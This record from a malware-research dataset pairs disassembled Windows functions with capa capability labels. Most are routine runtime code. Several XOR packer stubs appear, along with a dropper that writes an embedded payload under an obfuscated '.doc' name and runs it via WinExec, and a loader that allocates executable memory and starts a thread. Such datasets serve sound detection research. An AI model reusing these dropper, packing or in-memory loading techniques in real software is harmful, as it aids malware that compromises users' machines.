joyce8/EMBER2024-capa huggingface dataset:
Function at 0x4086d0
Capabilities:
Write file on windows

Disassembly:
push ebp
push esp
pop ebp
sub esp, 0x414
push ebx
push esi
push edi
mov eax, dword [ebp + 8]
mov edx, dword [0x4170bc]
cmp eax, edx
jae 0x4086ff
push eax
pop edx
and edx, 0x1f
sar eax, 5
mov eax, dword [eax*4 + 0x4170c0]
test byte [eax + edx*8 + 4], 1
jne 0x408711
mov dword [0x415c84], 9
or eax, 0xffffffff
jmp 0x4088e4
mov dword [ebp - 0xc], 0
mov dword [ebp - 4], 0
cmp dword [ebp + 0x10], 0
jne 0x40872c
xor eax, eax
jmp 0x4088e4
mov eax, dword [ebp + 8]
push eax
pop edx
and edx, 0x1f
sar eax, 5
mov eax, dword [eax*4 + 0x4170c0]
test byte [eax + edx*8 + 4], 0x20
je 0x408755
push 2
push 0
mov eax, dword [ebp + 8]
push eax
call fcn.00409fd0
add esp, 0xc
mov eax, dword [ebp + 8]
mov edx, eax
and edx, 0x1f
sar eax, 5
mov eax, dword [eax*4 + 0x4170c0]
test byte [eax + edx*8 + 4], 0x80
je 0x408833
mov esi, dword [ebp + 0xc]
mov dword [ebp - 0x10], 0
jmp 0x40881f
lea edi, [ebp - 0x411]
jmp 0x4087a1
mov eax, esi
inc esi
mov bl, byte [eax]
cmp bl, 0xa
jne 0x40879c
inc dword [ebp - 4]
mov eax, edi
inc edi
mov byte [eax], 0xd
push edi
pop eax
inc edi
mov byte [eax], bl
lea eax, [ebp - 0x411]
mov edx, edi
sub edx, eax
mov eax, edx
cmp eax, 0x400
jge 0x4087c2
mov eax, dword [ebp + 0xc]
mov edx, esi
sub edx, eax
push edx
pop eax
cmp eax, dword [ebp + 0x10]
jb 0x408789
push 0
lea eax, [ebp - 8]
push eax
lea eax, [ebp - 0x411]
push edi
pop edx
sub edx, eax
push edx
pop eax
push eax
lea eax, [ebp - 0x411]
push eax
mov eax, dword [ebp + 8]
push eax
pop edx
and edx, 0x1f
sar eax, 5
mov eax, dword [eax*4 + 0x4170c0]
mov eax, dword [eax + edx*8]
push eax
call dword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
je 0x408814
mov eax, dword [ebp - 8]
add dword [ebp - 0xc], eax
lea edx, [ebp - 0x411]
mov ecx, edi
sub ecx, edx
push ecx
pop edx
cmp eax, edx
jge 0x40881f
jmp 0x408879
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [ebp - 0x10], eax
jmp 0x408879
mov eax, dword [ebp + 0xc]
mov edx, esi
sub edx, eax
mov eax, edx
cmp eax, dword [ebp + 0x10]
jb 0x408781
jmp 0x408879
push 0
lea eax, [ebp - 8]
push eax
mov eax, dword [ebp + 0x10]
push eax
mov eax, dword [ebp + 0xc]
push eax
mov eax, dword [ebp + 8]
push eax
pop edx
and edx, 0x1f
sar eax, 5
mov eax, dword [eax*4 + 0x4170c0]
mov eax, dword [eax + edx*8]
push eax
call dword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
je 0x408870
mov dword [ebp - 0x10], 0
mov eax, dword [ebp - 8]
mov dword [ebp - 0xc], eax
jmp 0x408879
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0xc], 0
jne 0x4088de
cmp dword [ebp - 0x10], 0
je 0x4088aa
cmp dword [ebp - 0x10], 5
jne 0x40889b
mov dword [0x415c84], 9
jmp 0x4088a5
mov eax, dword [ebp - 0x10]
push eax
call fcn.00408c30
pop ecx
or eax, 0xffffffff
jmp 0x4088e4
mov eax, dword [ebp + 8]
push eax
pop edx
and edx, 0x1f
sar eax, 5
mov eax, dword [eax*4 + 0x4170c0]
test byte [eax + edx*8 + 4], 0x40
je 0x4088cf
mov eax, dword [ebp + 0xc]
cmp byte [eax], 0x1a
jne 0x4088cf
sub eax, eax
jmp 0x4088e4
mov dword [0x415c84], 0x1c
or eax, 0xffffffff
jmp 0x4088e4
mov eax, dword [ebp - 0xc]
sub eax, dword [ebp - 4]
pop edi
pop esi
pop ebx
push ebp
pop esp
pop ebp
ret
Function at 0x40adc0
Capabilities:
Clear file content

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x1014
call fcn.00404730
push ebx
push esi
push edi
mov ebx, dword [ebp + 8]
mov dword [ebp - 4], 0
mov eax, dword [0x4170bc]
cmp ebx, eax
jae 0x40adfb
push ebx
pop eax
and eax, 0x1f
push ebx
pop edx
sar edx, 5
mov edx, dword [edx*4 + 0x4170c0]
test byte [edx + eax*8 + 4], 1
jne 0x40ae0d
mov dword [0x415c84], 9
or eax, 0xffffffff
jmp 0x40af32
push 1
push 0
push ebx
call fcn.00409fd0
add esp, 0xc
mov dword [ebp - 0xc], eax
cmp eax, 0xffffffff
je 0x40ae37
push 2
push 0
push ebx
call fcn.00409fd0
add esp, 0xc
mov dword [ebp - 8], eax
cmp eax, 0xffffffff
jne 0x40ae3f
or eax, 0xffffffff
jmp 0x40af32
mov eax, dword [ebp + 0xc]
mov esi, eax
sub esi, dword [ebp - 8]
test esi, esi
jle 0x40aee4
lea edx, [ebp - 0x1010]
mov ecx, 0x1000
sub eax, eax
push edi
mov edi, edx
rep stosb byte es:[edi], al
pop edi
push edx
pop eax
push 0x8000
push ebx
call fcn.0040b330
add esp, 8
mov dword [ebp - 0x10], eax
mov eax, esi
cmp eax, 0x1000
jb 0x40ae8a
mov dword [ebp - 0x1014], 0x1000
jmp 0x40ae92
mov eax, esi
mov dword [ebp - 0x1014], eax
mov eax, dword [ebp - 0x1014]
push eax
lea eax, [ebp - 0x1010]
push eax
push ebx
call fcn.004086d0
add esp, 0xc
push eax
pop edi
cmp eax, 0xffffffff
jne 0x40aecb
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 5
jne 0x40aec5
mov dword [0x415c84], 0xd
or dword [ebp - 4], 0xffffffff
jmp 0x40aed5
push esi
pop eax
sub eax, edi
mov esi, eax
or eax, eax
jg 0x40ae75
mov eax, dword [ebp - 0x10]
push eax
push ebx
call fcn.0040b330
add esp, 8
jmp 0x40af20
test esi, esi
jge 0x40af20
push 0
mov eax, dword [ebp + 0xc]
push eax
push ebx
call fcn.00409fd0
add esp, 0xc
push ebx
call fcn.00408b00
pop ecx
push eax
call dword [sym.imp.KERNEL32.dll_SetEndOfFile]
or eax, eax
setne al
and eax, 1
dec eax
mov dword [ebp - 4], eax
cmp eax, 0xffffffff
jne 0x40af20
mov dword [0x415c84], 0xd
push 0
mov eax, dword [ebp - 0xc]
push eax
push ebx
call fcn.00409fd0
add esp, 0xc
mov eax, dword [ebp - 4]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x42e002
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
mov eax, section..text
nop
nop
nop
push 4
nop
nop
nop
nop
nop
pop edi
nop
nop
nop
cmp eax, 0
nop
nop
nop
nop
je 0x42e072
nop
mov ebx, 0x407ef8
nop
nop
mov ecx, ebx
nop
nop
nop
nop
nop
nop
sub ecx, eax
nop
nop
xor edx, edx
nop
nop
nop
nop
nop
nop
nop
push eax
nop
nop
nop
mov eax, ecx
nop
nop
nop
div edi
nop
nop
nop
nop
nop
nop
xchg ecx, eax
nop
nop
nop
nop
nop
nop
nop
pop eax
mov esi, 0x45647ee4
nop
nop
nop
nop
nop
xor dword [eax], esi
nop
nop
nop
nop
add eax, edi
nop
nop
nop
nop
loop 0x42e060
nop
mov eax, section..data
cmp eax, 0
nop
nop
nop
je 0x42e0d2
nop
nop
nop
nop
mov ebx, 0x42cd70
nop
nop
mov ecx, ebx
nop
nop
nop
nop
nop
nop
nop
sub ecx, eax
nop
nop
nop
nop
xor edx, edx
nop
push eax
nop
nop
nop
nop
nop
nop
nop
nop
mov eax, ecx
nop
div edi
nop
nop
nop
nop
nop
nop
nop
xchg ecx, eax
nop
nop
nop
nop
nop
nop
pop eax
nop
mov esi, 0x4191773d
nop
nop
nop
nop
xor dword [eax], esi
nop
add eax, edi
nop
nop
nop
nop
nop
nop
loop 0x42e0c0
nop
nop
nop
popal
nop
nop
nop
jmp 0x401219
Function at 0x100010f0
Capabilities:
Contain obfuscated stackstrings
Create process on windows
Get common file path
Write and execute a file
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x338
mov eax, dword [section..data]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
push 0x200
lea eax, [ebp - 0x204]
push 0
push eax
call fcn.10002760
add esp, 0xc
lea eax, [ebp - 0x204]
push eax
push 0x100
call dword [sym.imp.KERNEL32.dll_GetTempPathW]
mov ecx, eax
test ecx, ecx
jle 0x1000129c
push ebx
push edi
lea edx, [ecx + 0x17]
mov dword [ebp - 0x338], 0x52005c
xor esi, esi
mov dword [ebp - 0x334], 0x700065
mov dword [ebp - 0x330], 0x72006f
mov dword [ebp - 0x32c], 0x5f0074
mov dword [ebp - 0x328], 0x690074
mov dword [ebp - 0x324], 0x630065
mov dword [ebp - 0x320], 0x6f0075
mov dword [ebp - 0x31c], 0x2e0069
mov dword [ebp - 0x318], 0x65006d
mov dword [ebp - 0x314], 0x64002e
mov dword [ebp - 0x310], 0x63006f
pop edi
pop ebx
cmp ecx, edx
jae 0x100011f5
movups xmm0, xmmword [ebp - 0x338]
mov eax, dword [ebp - 0x310]
movups xmmword [ebp + ecx*2 - 0x204], xmm0
movups xmm0, xmmword [ebp - 0x328]
movups xmmword [ebp + ecx*2 - 0x1f4], xmm0
movq xmm0, qword [ebp - 0x318]
movq qword [ebp + ecx*2 - 0x1e4], xmm0
mov dword [ebp + ecx*2 - 0x1dc], eax
mov word [ebp + ecx*2 - 0x1d8], si
lea eax, [edx + edx]
cmp eax, 0x200
jae 0x100012ae
xor ecx, ecx
push ecx
push 0x80
push 2
push ecx
push ecx
mov word [ebp + eax - 0x204], cx
lea eax, [ebp - 0x204]
push 0x40000000
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov esi, eax
cmp esi, 0xffffffff
je 0x1000129c
push 0
lea eax, [ebp - 0x308]
push eax
push 0x2400
push 0x1001d8f0
push esi
call dword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
je 0x1000129c
cmp dword [ebp - 0x308], 0x2400
jne 0x1000129c
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
lea eax, [ebp - 0x204]
push eax
lea eax, [ebp - 0x304]
push str.explorer.exe___s_
push eax
call fcn.100010a0
add esp, 0xc
lea eax, [ebp - 0x304]
push 0
push eax
call dword [sym.imp.KERNEL32.dll_WinExec]
xor eax, eax
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.1000169c
mov esp, ebp
pop ebp
ret
mov ecx, dword [ebp - 4]
or eax, 0xffffffff
xor ecx, ebp
pop esi
call fcn.1000169c
mov esp, ebp
pop ebp
ret
call fcn.100017cc
int3
Function at 0x10001560
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
mov eax, dword [section..data]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
mov esi, dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
push edi
push str.ntdll.dll
call esi
push str.kernel32.dll
mov edi, eax
call esi
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov ebx, eax
push str.ZwAllocateVirtualMemory
push edi
call esi
push str.HeapCreate
push ebx
mov dword [0x10020768], eax
call esi
push 0x1001b9b0
push ebx
mov dword [0x10020764], eax
call esi
push str.EnumSystemLocalesW
push ebx
mov dword [0x10020770], eax
call esi
push 0
push 0
push 0x40000
mov dword [0x1002076c], eax
call dword [0x10020764]
pop edi
pop esi
pop ebx
test eax, eax
je 0x1000164c
push 0x100000
push 8
push eax
mov dword [ebp - 0xc], 0x100000
call dword [0x10020770]
push 0x40
mov dword [ebp - 8], eax
lea eax, [ebp - 0xc]
push 0x1000
push eax
push 0
lea eax, [ebp - 8]
push eax
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [0x10020768]
test eax, eax
je 0x10001623
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push str.Error_allocating_memory__err_d_n
jmp 0x10001658
push 0
push 0
push dword [ebp - 8]
push 0x10001520
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov ecx, dword [ebp - 4]
xor ecx, ebp
mov dword [0x10020760], eax
call fcn.1000169c
mov esp, ebp
pop ebp
ret
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push str.Error_creating_heap__err_d_n
push 2
call fcn.10004ade
add esp, 4
push eax
call fcn.10001040
add esp, 0xc
push 1
call fcn.10004a00
int3

Function at 0x100048e8
Capabilities:
Parse pe header

Disassembly:
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test eax, eax
je 0x10004927
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x10004927
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x10004927
mov eax, 0x10b
cmp word [ecx + 0x18], ax
jne 0x10004927
cmp dword [ecx + 0x74], 0xe
jbe 0x10004927
cmp dword [ecx + 0xe8], 0
setne al
ret
xor al, al
ret

Function at 0x1000a316
Capabilities:
Allocate thread local storage

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
push 0x100175f0
push 0x100175e8
push str.FlsAlloc
push 0x1f
call fcn.1000a232
mov esi, eax
add esp, 0x10
test esi, esi
je 0x1000a34a
push dword [ebp + 8]
mov ecx, esi
call dword [0x10016140]
call esi
jmp 0x1000a350
call dword [sym.imp.KERNEL32.dll_TlsAlloc]
pop esi
pop ebp
ret 4

Function at 0x1000a394
Capabilities:
Get thread local storage value

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
push 0x10017600
push 0x100175f8
push str.FlsGetValue
push 0x21
call fcn.1000a232
mov esi, eax
add esp, 0x10
test esi, esi
je 0x1000a3cb
push dword [ebp + 8]
mov ecx, esi
call dword [0x10016140]
call esi
pop esi
pop ebp
ret 4
pop esi
pop ebp
jmp dword [sym.imp.KERNEL32.dll_TlsGetValue]
Function at 0x1000a3d3
Capabilities:
Set thread local storage value

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
push 0x10017608
push 0x10017600
push str.FlsSetValue
push 0x22
call fcn.1000a232
mov esi, eax
add esp, 0x10
test esi, esi
je 0x1000a40d
push dword [ebp + 0xc]
mov ecx, esi
push dword [ebp + 8]
call dword [0x10016140]
call esi
pop esi
pop ebp
ret 8
pop esi
pop ebp
jmp dword [sym.imp.KERNEL32.dll_TlsSetValue]
Function at 0x1000daa6
Capabilities:
Query environment variable

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push ecx
push ecx
push esi
call dword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
mov esi, eax
test esi, esi
je 0x1000db43
push ebx
push esi
call fcn.1000da6f
xor ebx, ebx
sub eax, esi
push ebx
push ebx
push ebx
push ebx
sar eax, 1
push eax
push esi
push ebx
push ebx
mov dword [ebp - 8], eax
call fcn.1000da03
add esp, 0x24
mov dword [ebp - 4], eax
test eax, eax
jne 0x1000daf0
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
xor eax, eax
jmp 0x1000db42
push edi
push eax
call fcn.1000ab2e
mov edi, eax
pop ecx
push ebx
test edi, edi
jne 0x1000db10
call fcn.1000a0df
pop ecx
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
xor eax, eax
jmp 0x1000db41
push ebx
push dword [ebp - 4]
push edi
push dword [ebp - 8]
push esi
push ebx
push ebx
call fcn.1000da03
add esp, 0x20
test eax, eax
jne 0x1000db2f
push edi
call fcn.1000a0df
jmp 0x1000db37
push ebx
call fcn.1000a0df
mov ebx, edi
pop ecx
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
mov eax, ebx
pop edi
pop ebx
pop esi
leave
ret
Function at 0x10015230
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x1001525d
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x1001525d
mov edx, 0x10b
xor eax, eax
cmp word [ecx + 0x18], dx
sete al
pop ebp
ret
xor eax, eax
pop ebp
ret

Function at 0x433000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
call 0x43300c
pop eax
nop
nop
nop
nop
nop
nop
add eax, 0x40a063
sub eax, 0x40a009
nop
nop
mov ebx, dword [eax]
nop
nop
nop
nop
nop
nop
mov ecx, dword [eax + 4]
nop
mov edx, dword [eax + 8]
nop
nop
xor dword [ebx], edx
nop
nop
nop
nop
nop
nop
nop
add ebx, 4
nop
nop
nop
cmp ebx, ecx
nop
jl 0x433030
nop
nop
nop
nop
add eax, 0xc
nop
nop
nop
cmp dword [eax], 0
nop
nop
nop
nop
jne 0x43301e
nop
nop
nop
nop
popal
nop
nop
nop
nop
jmp 0x431219
Function at 0x414401
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push ebp
push ebx
push edi
push esi
push eax
mov eax, dword [esp + 0x18]
mov edi, dword [esp + 0x24]
lea eax, [edx + eax*2]
mov dword [esp], eax
xor eax, eax
cmp edx, dword [esp]
je 0x41445f
movzx ebp, byte [edx + 1]
cmp byte [edx], ch
lea ebx, [edx + 2]
lea esi, [eax + ebp]
jne 0x414445
cmp esi, eax
jb 0x414497
cmp esi, dword [esp + 0x20]
ja 0x414497
add eax, dword [esp + 0x1c]
test ebp, ebp
je 0x41444d
dec ebp
cmp byte [eax], cl
lea eax, [eax + 1]
jne 0x414437
jmp 0x414453
mov edx, ebx
mov eax, esi
jbe 0x414416
jmp 0x41445f
mov edx, ebx
mov eax, esi
jmp 0x414416
xor eax, eax
and al, 1
add esp, 4
pop esi
pop edi
pop ebx
pop ebp
ret
mov ebx, dword [esp + 0x28]
movzx ecx, cx
mov al, 1
add ebx, edi
cmp edi, ebx
je 0x414455
movzx edx, byte [edi]
lea esi, [edi + 1]
test dl, dl
js 0x41447c
mov edi, esi
jmp 0x41448f
cmp esi, ebx
je 0x414497
movzx esi, byte [edi + 1]
and edx, 0x7f
add edi, 2
shl edx, 8
or edx, esi
sub ecx, edx
js 0x414455
xor al, 1
jmp 0x41446a
ud2
Function at 0x41cb5c
Capabilities:
Resolve function by parsing pe exports

Disassembly:
push ebp
push ebx
push edi
push esi
sub esp, 0x68
call 0x41cb68
pop eax
mov dword [esp + 0x64], eax
mov eax, dword [esp + 0x7c]
mov ecx, dword [eax]
mov eax, dword [ecx]
and dword [ecx], 0
test eax, eax
je 0x41cdde
mov eax, dword [eax]
mov dword [esp + 0x18], eax
push 4
pop edx
mov ecx, 0xa00
call fcn.00415068
test eax, eax
je 0x41cdc0
lea ecx, [esp + 0xc]
mov esi, eax
mov dword [ecx], eax
mov dword [ecx + 4], 0xa0
and dword [ecx + 8], 0
call fcn.0041adfd
lea ebp, [eax + 0x40]
lea ebx, [eax + 0x90]
mov ecx, esi
lea edx, [eax + 0x70]
xor edi, edi
xor esi, esi
mov dword [esp + 0x58], ebp
lea ebp, [eax + 0x88]
mov dword [esp + 0x54], ebx
lea ebx, [eax + 0x80]
mov dword [esp + 0x5c], edx
mov dword [esp + 0x50], ebp
mov ebp, eax
mov dword [esp + 0x4c], ebx
lea ebx, [eax + 0x78]
add ebp, 8
mov dword [esp + 0x44], ebx
lea ebx, [eax + 0x60]
mov dword [esp + 0x48], ebp
lea ebp, [eax + 0x68]
mov dword [esp + 0x3c], ebx
lea ebx, [eax + 0x50]
mov dword [esp + 0x40], ebp
lea ebp, [eax + 0x58]
mov dword [esp + 0x34], ebx
lea ebx, [eax + 0x30]
mov dword [esp + 0x38], ebp
lea ebp, [eax + 0x38]
mov dword [esp + 0x2c], ebx
lea ebx, [eax + 0x20]
mov dword [esp + 0x30], ebp
lea ebp, [eax + 0x28]
mov dword [esp + 0x24], ebx
lea ebx, [eax + 0x10]
mov dword [esp + 0x28], ebp
lea ebp, [eax + 0x18]
mov dword [esp + 0x1c], ebx
mov dword [esp + 0x20], ebp
mov ebp, 0x140
test ebp, ebp
je 0x41cd61
movzx ebx, word [esi + esi + 0x449fa4]
mov edx, ebx
and edx, 0x1f
cmp dx, 0x12
ja 0x41cdde
mov edx, dword [edx*4 + 0x41cde4]
mov dword [esp], 0
mov dword [esp + 4], eax
add edx, dword [esp + 0x64]
jmp edx
mov edx, dword [esp + 0x10]
mov esi, dword [esp + 0xc]
cmp edx, edi
jbe 0x41cd98
mov ebx, edi
shl edx, 4
mov ecx, esi
shl ebx, 4
push 4
pop ebp
push ebp
push ebx
push ebp
call fcn.00415596
add esp, 0xc
xor ecx, ecx
test eax, eax
mov edx, ebx
cmovne esi, eax
sete cl
push ebp
call fcn.004130ec
pop eax
cmp edi, 0xa0
jne 0x41cdcf
test esi, esi
je 0x41cdde
mov eax, dword [esp + 0x18]
mov ecx, dword [eax]
mov dword [eax], esi
test ecx, ecx
je 0x41cdb8
push 4
pop edx
call fcn.00412f60
add esp, 0x68
pop esi
pop edi
pop ebx
pop ebp
ret
push 4
pop edx
mov ecx, 0xa00
call fcn.0042ef53
ud2
shl edi, 4
mov ecx, esi
mov edx, edi
push 4
call fcn.00404990
pop eax
ud2
Function at 0x429258
Capabilities:
Write file on windows

Disassembly:
push ebp
push ebx
push edi
push esi
sub esp, 0x1c
mov ebp, dword [esp + 0x34]
mov esi, ecx
test ebp, ebp
je 0x429290
mov ebx, esp
mov ecx, ebx
call fcn.00429459
cmp dword [ebx], 1
jne 0x42929c
mov eax, dword [esp + 4]
mov ecx, dword [esp + 8]
mov dword [esi + 4], eax
mov dword [esi + 8], ecx
mov dword [esi], 1
jmp 0x429420
and dword [esi + 4], 0
and dword [esi], 0
jmp 0x429420
mov edi, dword [esp + 4]
and dword [esp], 0
push ebx
push edi
call dword [sym.imp.KERNEL32.dll_GetConsoleMode]
test eax, eax
je 0x429302
mov dword [esp + 0xc], edi
mov edi, dword [esp + 0x38]
mov ebx, dword [esp + 0x30]
movzx eax, byte [edi + 4]
test eax, eax
je 0x429326
cmp al, 4
jae 0x429455
mov cl, byte [ebx]
mov edx, ecx
and dl, 0xc0
cmp dl, 0x80
jne 0x42937d
mov byte [edi + eax], cl
mov al, byte [edi + 4]
inc al
mov byte [edi + 4], al
movzx ecx, byte [edi]
movzx ebx, byte [ecx + 0x453f90]
cmp bl, al
jbe 0x4293bb
mov dword [esi + 4], 1
jmp 0x429294
and dword [esp], 0
push 0
push ebx
push ebp
push dword [esp + 0x3c]
push edi
call dword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
je 0x429394
mov eax, dword [esp]
mov dword [esi + 4], eax
xor eax, eax
jmp 0x42941e
mov eax, 0x1000
lea ecx, [esp + 0x10]
mov edx, ebx
cmp ebp, eax
cmovb eax, ebp
push eax
call fcn.00414be4
pop eax
lea eax, [esp + 0x10]
cmp dword [eax], 1
jne 0x4293a1
cmp dword [esp + 0x14], 0
je 0x429428
mov eax, dword [esp + 0x14]
cmp eax, ebp
ja 0x429455
mov edx, ebx
mov ebx, esp
mov ecx, ebx
push eax
call fcn.00414be4
pop eax
cmp dword [ebx], 1
je 0x429455
mov eax, dword [esp + 4]
mov ebx, dword [esp + 8]
jmp 0x4293a9
mov byte [edi + 4], 0
mov dword [esi + 8], 0x4542f4
mov dword [esi + 4], 2
jmp 0x429285
call fcn.00429699
mov dword [esi + 8], edx
mov dword [esi + 4], eax
jmp 0x42941b
mov eax, dword [esp + 0x14]
mov ebx, dword [esp + 0x18]
mov edx, dword [esp + 0xc]
mov ecx, esi
push ebx
push eax
call fcn.00429492
add esp, 0x24
jmp 0x429423
movzx eax, al
cmp al, 5
jae 0x429455
lea ebp, [esp + 0x10]
mov edx, edi
mov ecx, ebp
push eax
call fcn.00414be4
pop eax
cmp dword [ebp], 1
mov byte [edi + 4], 0
jne 0x4293ef
mov dword [esi + 8], str.Windows_stdio_in_console_mode_does_not_support_writing_non_UTF_8_byte_sequences
mov dword [esi + 4], 2
jmp 0x42941b
cmp dword [esp + 0x18], ebx
jne 0x429455
mov edx, dword [esp + 0xc]
mov edi, ebx
mov ebx, esp
mov ecx, ebx
push edi
push dword [esp + 0x18]
call fcn.00429492
pop eax
pop ecx
cmp dword [ebx], 1
jne 0x429443
movsd xmm0, qword [esp + 4]
movsd qword [esi + 4], xmm0
xor eax, eax
inc eax
mov dword [esi], eax
add esp, 0x1c
pop esi
pop edi
pop ebx
pop ebp
ret
movzx eax, byte [ebx]
movzx ecx, byte [eax + 0x453f90]
cmp ecx, 2
jb 0x4293df
cmp ecx, ebp
jbe 0x4293df
mov byte [edi], al
mov byte [edi + 4], 1
jmp 0x429449
cmp dword [esp + 4], edi
jne 0x429455
mov dword [esi + 4], 1
jmp 0x42931f
ud2
Function at 0x42d326
Capabilities:
Check if file exists
Get file attributes

Disassembly:
push ebx
push edi
push esi
sub esp, 0x1c
mov eax, edx
mov esi, esp
mov edx, ecx
mov ecx, esi
push eax
call fcn.0042a2a8
pop eax
mov edi, dword [esi]
cmp edi, 1
jne 0x42d35e
mov eax, dword [esp + 4]
mov edx, dword [esp + 8]
lea ecx, [esp + 0x14]
mov dword [ecx + 4], edx
mov dword [ecx], eax
mov byte [ecx - 4], 1
call fcn.00428c81
jmp 0x42d389
lea eax, [esp + 4]
lea esi, [esp + 0x10]
movsd xmm0, qword [eax]
mov eax, dword [eax + 8]
movsd qword [esi], xmm0
mov dword [esi + 8], eax
push dword [esi]
call dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
mov ecx, esi
setne bl
call fcn.00428b89
test edi, edi
sete al
and al, bl
add esp, 0x1c
pop esi
pop edi
pop ebx
ret
Function at 0x433005
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
mov eax, section..text
mov ebx, 0x40de38
nop
mov ecx, 0x15b94cb9
nop
nop
nop
nop
test eax, eax
nop
nop
je 0x43304e
nop
nop
nop
nop
xor dword [eax], ecx
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
inc eax
nop
nop
nop
cmp eax, ebx
nop
nop
nop
nop
nop
nop
nop
jne 0x433024
nop
nop
mov eax, section..rsrc
mov ebx, 0x4304d8
nop
nop
mov ecx, 0x64d77c63
test eax, eax
nop
nop
nop
nop
nop
nop
nop
nop
je 0x433084
nop
nop
nop
xor dword [eax], ecx
nop
nop
nop
add eax, 4
nop
nop
nop
nop
nop
cmp eax, ebx
jne 0x43306c
nop
nop
nop
nop
nop
nop
nop
popal
nop
nop
jmp 0x431219
Function at 0x100066d0
Capabilities:
Create thread
Set console window title

Disassembly:
push ebp
mov ebp, esp
cmp dword [ebp + 0xc], 1
jne 0x1000671b
call dword [sym.imp.KERNEL32.dll_AllocConsole]
push str.airflow.su_crack
call dword [sym.imp.KERNEL32.dll_SetConsoleTitleA]
push 1
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll___acrt_iob_func]
push eax
push 0x100320a4
push 0x100320a8
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_freopen]
add esp, 0x10
push 0
push 0
push 0
push 0x10006130
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov al, 1
pop ebp
ret 0xc